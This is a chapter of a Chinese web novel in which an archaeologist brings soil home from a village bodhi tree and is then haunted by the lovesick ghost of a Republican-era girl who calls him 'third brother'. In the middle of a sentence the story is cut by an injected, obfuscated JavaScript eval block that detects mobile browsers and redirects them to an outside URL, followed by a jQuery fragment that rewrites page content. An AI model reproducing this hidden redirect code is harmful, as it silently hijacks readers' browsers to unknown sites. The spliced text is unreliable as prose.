“阳村长。”
陆瑾生回到他身边,朝周围看了眼,低语交谈,“我有个问题想问你。”
“什么问题?”
“你们这儿……是不是闹鬼啊……”
阳村长有些诧异,不解地看着陆瑾生,“什么闹鬼?我想你误会了什么,这个年头哪儿有什么鬼。”
陆瑾生尴尬地解释,笑笑说。
“是这样,昨天晚上我一直听到有人在喊什么三哥,如果不是鬼的话,那是你们村子里别的什么人?”
“你们这里有谁叫三哥吗?”
阳村长摇摇头,“我们这里还真没有谁名字里带‘三’或者排行老三。”
“那就奇怪了……”
陆瑾生开始揣摩起来。
要么……
昨天晚上他看到的是某个人来捣乱。
要么……
是他出现了幻觉。
总不可能真是鬼吧。
陆瑾生虽然怕鬼,但他时刻提醒自己,这世上不可能有鬼。
—
用过早点后,于教授和考古队其他成员就准备下山了。
阳村长让石娃子给他们带路。
走之前,陆瑾生又看了一眼院子中那颗巨大的菩提树。
石娃子顺着陆瑾生的目光看过去。
“你昨晚是不是做了个梦,梦到了个女的,一直喊三哥?”
陆瑾生诧异地看着石娃子。
“你怎么知道?”
石娃子提起放在地上的东西,解释道:“我阿妈在我小时候就给我讲过这个故事,你做这个梦啊,估计和这个地方有关。”
陆瑾生迫不及待追问,“什么故事?”
“也不能说是故事吧,听我阿妈说,这是一百年前真实发生过的事。”
“有个大户人家的少爷,当了汉奸走狗,自作孽不可活,这狗腿子最后也被日本鬼子打死了。”
“但他死之后,有个女孩在他坟前哭了七天七夜,后来,这个女孩也在这棵菩提树上吊自杀了。”
听到这儿,陆瑾生开始愣住。
“所……所以,我昨晚做了个梦,可能是你说的这个女孩在托梦。”
“是啊,”石娃子无所谓地继续说,“也不知道为什么,这个女孩这么执着。我阿妈说,一百年前,只有这个女孩一口咬定他不是汉奸走狗,到处去跟人证明,想要洗刷他的冤屈。”
“这女孩儿也挺惨。”
陆瑾生倒吸一口气,“太傻了,果然痴情人没个好下场。”
石娃子和陆瑾生并肩一起往山下走,其余人都走在前面。
陆瑾生走了几步,突然停下。
“你怎么了?”石娃子望着他。
陆瑾生回头望着那棵冲上天比屋顶还高的菩提树,一言不发。
—
同石娃子告别以后,于泽立即来到陆瑾生身边。
他好奇地问陆瑾生,“你昨晚到底做了个什么梦?怎么奇奇怪怪的。”
陆瑾生把交叉的手放在后脑勺,叹了口气,想要彻底把这件事抛之脑后,云淡风轻地开口。
“梦到女鬼了。”
“啥?!”
于泽骇然失色,“真的假的?”
他上下左右仔细观察陆瑾生,“你没事吧?那女鬼在梦里对你做了什么?”
“什么都没做,只是梦到而已。”
陆瑾生盯着身旁的于泽,“哎,我说你这个人,怎么啥事儿都这么感兴趣?”
“我这不是关心你嘛。”
于泽想了想,自言自语,“看来咱们回去以后,得花重金给你请个大师,帮你驱驱邪,确保不会有不干不净的东西再缠上你。”
“这么好心?”
陆瑾生没把这件事放在心上,毕竟他对什么江湖大师可不感兴趣。
就在这时,走在前面的胡灵也放慢了脚步,等着陆瑾生和于泽追上来。
等到两人走近后,胡灵好奇询问,“谨生哥,你刚才突然回了趟村子是有什么东西忘了吗?”
“算是吧。”
陆瑾生摸了下腰间绑着的小包里的陶瓷罐子。
望着前方,慢慢地走。
—
回到南召市以后,于教授和研究院的其他人继续投入关于南伽古城的研究中。
为下次实地考察做准备。
而陆瑾生也回到了自己的家里。
一直以来,他都是一个人生活,和父母很少有联系。
把房间重新打扫了一遍,陆瑾生坐在沙发上休息。
突然,他想起自己忘了一件事。
只见他从桌子上找到带回来的黑色腰包,又从里面拿出一个褐色的陶瓷罐。
里面什么都没有,只是装了些泥土,他从那棵菩提树下抓的。
他把泥土倒在置物架上绿植盆里,没有多逗留,直接进了厨房,准备今天的晚饭。
陆瑾生打算简单吃点儿,应付应付就行,用冰箱里剩下的鸡蛋和青菜打汤。
他简单吃几口后,又坐到沙发上,正准备拿起手机。
结果,身旁突然传来了一声“哎唷”的声音。
陆瑾生一愣一愣地朝右手边看过去,明明什么都没有。
难道是之前在那村子里的幻听老毛病又犯了?
最开始,于泽说这村子很邪门,陆瑾生还不相信。
现在他巴不得立刻打电话过问问于泽说的什么“大师”什么时候有时间。
他必须得去看看,驱驱身上的晦气。
只见陆瑾生赶紧起身,准备朝卧室里走去,丝毫不想在客厅逗留。
毕竟现在天色已晚,大半夜的容易发生些什么,谁都不知道。
“三哥,你别走!”
女孩的身形开始一点点显现,她有着一张鹅蛋脸,脸蛋很饱满。
少女天然的稚气和清澈溢出来。
陆瑾生怔住,停在卧室门口,还差一脚他就踏进去了。
他……刚才没听错吧?
又是三哥?
陆瑾生的余光向后瞥,不敢完全看见身后什么情况。
更何况,他根本不想知道。
他直接迅速窜进卧室,反手就把门关上。
又快速反锁好,这才敢松口气,背靠着门深呼吸。
幻听,一定是幻听。
陆瑾生想,难道是他捧回来的那把泥土不对劲?
可是他根本不想怎样,他就是觉得石娃子口中的这个女孩很可怜,所以想着哪天有机会拿去给于泽口中的大师做做法。
好让她赶紧投胎转世,来世能够幸福些。
总不可能……他捧一把土,都能把这女鬼招来吧?
陆瑾生不敢继续想下去,毕竟这种事情想多了瘆得慌。
他不断在心里暗示
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996434|193900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己,刚才只是幻听。
为了转移自己的注意力,陆瑾生打开电脑,登录游戏账号,把声音开到最大。
顶灯、台灯、床头灯……总之,所有能被打开的灯,全都被他打开了。
整个房间亮堂堂的,把窗帘拉上,更是分不清白天和黑夜。
“上号,上号。”
陆瑾生给于泽发了条消息,然后自己先单独开了一局游戏。
过了许久,房间里都没有再响起任何奇怪的声音。
陆瑾生整个人也放松不少。
他想,现在总没有什么不干不净的东西来骚扰自己了吧。
想到这儿,陆瑾生反应过来自己口渴很久了,他给自己壮胆,鼓足勇气。
准备出去接杯水。
手打在门把手上,做了很久的心理建设后,他才慢慢地、慢慢地按下去。
最后把握着门把手,把门往里面拉。
虚惊一场,什么都没有。
陆瑾生更加坚信,刚才出现的是幻听。
他若无其事地回头,看一眼房间。
“我去——”
陆瑾生吓得往后退,差点没站稳。
是司简。
她歪着脑袋,懵懵懂懂地盯着陆瑾生,和他的脸镜像重合。
陆瑾生张大嘴,使劲儿地搓了搓自己的眼睛,反复确认。
这是梦吗?
这不是梦吧?
“三哥……”
司简上前一步,想要靠近他。
陆瑾生慌乱退得更远。
“你这鬼怎么又缠上我了啊,有完没完。”
司简整个人温温和和的,没有面露不满,而是懵懵懂懂看他,嘴角向上扬。
“三哥,我……我也没想到,我竟然能和你一起离开村子。”
她抬起手,打量自己的身体,眼神里充满惊喜和意外。
她笑意盈盈,迫切问道:“三哥三哥,为什么你每次看到我,都这么害怕我呢?”
司简的眼睛水汪汪的,闪亮的眸子更是衬得她的美更加别致。
“三哥,司简不会伤害你的,你别害怕。”
说到这儿,她开始自顾自又补充说了好多。
“我想清楚了,你不认识我很正常,毕竟一百年过去了,你肯定不记得之前的事,但是没关系呀。”
女孩欣喜抬起头,“我记得你,一直都记得,你能回来接我,我就很开心。”
“去去去,你少来。”
陆瑾生下定决心要和这女鬼保持距离。
这女鬼还穿着民国时期的裙子,头发卷卷的,扎成辫子,头上戴着一顶小帽子。
看这打扮,也许在那个时候,她还是某个大户人家的小姐。
陆瑾生知道来硬的不行,必须得换个法子。
于是,他突然放缓了语气。
两手合在一起,放在胸前祈求,态度诚恳。
“算我求你了行不行,女侠,我这儿招惹不起你,你要找谁赶紧去别的地方找,咱们可以说是八竿子打不着一丁点儿联系啊。”
司简从没想过要离开她的三哥。
她懵懵懂懂摇摇头,用轻轻的语气说出她绝对不会动摇的念头。
“不走,我哪儿也不去,你就是三哥,你在哪里,我就去哪里。”
陆瑾生无语,倒吸一口凉气。
这鬼怎么这么难缠。